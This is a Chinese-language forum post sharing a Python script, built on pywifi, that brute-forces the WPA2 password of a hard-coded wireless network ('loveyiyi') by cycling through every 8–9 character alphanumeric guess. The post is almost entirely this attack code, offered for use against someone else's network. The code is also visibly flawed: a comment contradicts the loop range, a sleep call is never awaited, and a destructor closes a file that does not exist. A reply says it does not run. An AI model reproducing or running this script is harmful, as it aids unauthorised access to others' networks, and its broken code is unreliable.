返回列表 发布新帖

python破解wifi密码

2237 1
我是大哥 发表于 16 小时前 | 查看全部 阅读模式 <

马上注册,结交更多好友,享用更多功能,让你轻松玩转小K网。

您需要 登录 才可以下载或查看,没有账号?立即注册

×
  1. import time  # 时间
  2. from asyncio.tasks import sleep
  3. import itertools
  4. import pywifi  # 破解wifi
  5. from pywifi import const  # 引用一些定义


  6. class PoJie():
  7.     def __init__(self):
  8.         wifi = pywifi.PyWiFi() #抓取网卡接口
  9.         self.iface = wifi.interfaces()[0]#抓取第一个无限网卡
  10.         self.iface.disconnect() #测试链接断开所有链接
  11.      
  12.         time.sleep(1) #休眠1秒
  13.      
  14.         #测试网卡是否属于断开状态,
  15.         assert self.iface.status() in\
  16.             [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

  17.     def readPassWord(self):
  18.         print("开始破解:")
  19.         chars = '0123456789abcdefghijklmnopqrstuvwxyz'
  20.         for password_length in range(8, 10):  # 这里我们尝试长度为1到8的密码
  21.     # 使用itertools.product生成所有可能的密码组合
  22.     # print(password_length)
  23.             for password_tuple in itertools.product(chars, repeat=password_length):
  24.                 password = ''.join(password_tuple)
  25.                 # if password == "123":
  26.                 #     print(password)
  27.                 print(f'正在尝试密码{password}')   
  28.                 try:
  29.                     myStr = password
  30.                     if not myStr:
  31.                         break
  32.                     bool1=self.test_connect(myStr)
  33.                     if bool1:
  34.                         print("密码正确:",myStr)
  35.                         break
  36.                     else:
  37.                         print("密码错误:"+myStr)
  38.                     sleep(3)
  39.                 except:
  40.                     continue
  41.                              
  42.     def test_connect(self,findStr):#测试链接

  43.         profile = pywifi.Profile()  #创建wifi链接文件
  44.         profile.ssid ="loveyiyi" #wifi名称
  45.         profile.auth = const.AUTH_ALG_OPEN  #网卡的开放,
  46.         profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法
  47.         profile.cipher = const.CIPHER_TYPE_CCMP    #加密单元
  48.         profile.key = findStr #密码
  49.      
  50.         self.iface.remove_all_network_profiles() #删除所有的wifi文件
  51.         tmp_profile = self.iface.add_network_profile(profile)#设定新的链接文件
  52.         self.iface.connect(tmp_profile)#链接
  53.         time.sleep(5)
  54.         if self.iface.status() == const.IFACE_CONNECTED:  #判断是否连接上
  55.             isOK=True  
  56.         else:
  57.             isOK=False
  58.         self.iface.disconnect() #断开
  59.         time.sleep(1)
  60.         #检查断开状态
  61.         assert self.iface.status() in\
  62.             [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
  63.      
  64.         return isOK
  65.      

  66.     def __del__(self):
  67.         self.file.close()
  68.          

  69. start=PoJie()
  70. start.readPassWord()
复制代码

评论1

lxj818Lv.2 发表于 7 小时前 来自手机 | 查看全部 <
贴主,貌似不能运行
回复

使用道具 举报

回复

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

关灯 在本版发帖
扫一扫添加微信客服
QQ客服返回顶部
快速回复 返回顶部 返回列表